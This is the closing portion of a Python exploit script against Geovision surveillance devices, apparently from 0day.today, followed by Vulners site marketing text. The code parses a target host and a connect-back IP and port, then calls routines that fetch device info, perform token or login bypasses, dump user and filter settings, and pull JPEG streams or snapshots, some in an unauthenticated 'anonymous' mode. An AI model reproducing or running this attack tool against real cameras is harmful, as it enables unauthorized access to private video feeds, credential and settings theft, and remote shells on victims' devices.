    # Check if RHOST is valid IP or FQDN, get IP back
    rhost = Validate(verbose).Host(rhost)
    if not rhost:
        print "[!] Invalid RHOST"
        sys.exit(1)
 
 
#
# Validation done, start print out stuff to the user
#
    if args.https:
        print "[i] HTTPS / SSL Mode Selected"
    print "[i] Remote target IP:",rhost
    print "[i] Remote target PORT:",rport
    if not args.geotoken and not args.dump and not args.deviceinfo:
        print "[i] Connect back IP:",lhost
        print "[i] Connect back PORT:",lport
 
    rhost = rhost + ':' + rport
 
 
    headers = {
        'Connection': 'close',
        'Content-Type'  :   'application/x-www-form-urlencoded',
        'Accept'    :   'gzip, deflate',
        'Accept-Language'   :   'en-US,en;q=0.8',
        'Cache-Control' :   'max-age=0',
        'User-Agent':'Mozilla'
        }
 
    # Print Model and Firmware version
    Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).DeviceInfo()
    if deviceinfo:
        sys.exit(0)
 
 
    # Geovision token login within the function
    #
    if GEOtoken:
        Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).DeviceInfo()
        if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).GeoToken():
            print "[!] Failed"
            sys.exit(1)
        else:
            sys.exit(0)
 
 
    if anonymous:
        if jpegstream:
            if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).JpegStream(DumpSettings):
                print "[!] Failed"
                sys.exit(0)
        elif picturecatch:
            if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).PictureCatch(DumpSettings):
                print "[!] Failed"
                sys.exit(0)
        else:
            print "[!] Needed: --anonymous [--picturecatch | --jpegstream]"
            sys.exit(1)
 
    else:
        #
        # Geovision Login needed
        #
        if usersetting:
            if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
                if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).UserSetting(DumpSettings):
                    print "[!] Failed"
                    sys.exit(0)
        elif filtersetting:
            if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
                if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).FilterSetting():
                    print "[!] Failed"
                    sys.exit(0)
        elif jpegstream:
            if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
                if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).JpegStream(DumpSettings):
                    print "[!] Failed"
                    sys.exit(0)
        elif picturecatch:
            if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
                if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).PictureCatch(DumpSettings):
                    print "[!] Failed"
                    sys.exit(0)
        else:
            print "[!] Needed: --usersetting | --jpegstream | --picturecatch | --filtersetting"
            sys.exit(1)
 
    sys.exit(0)
#
# [EOF]
#

#  0day.today [2018-04-12]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation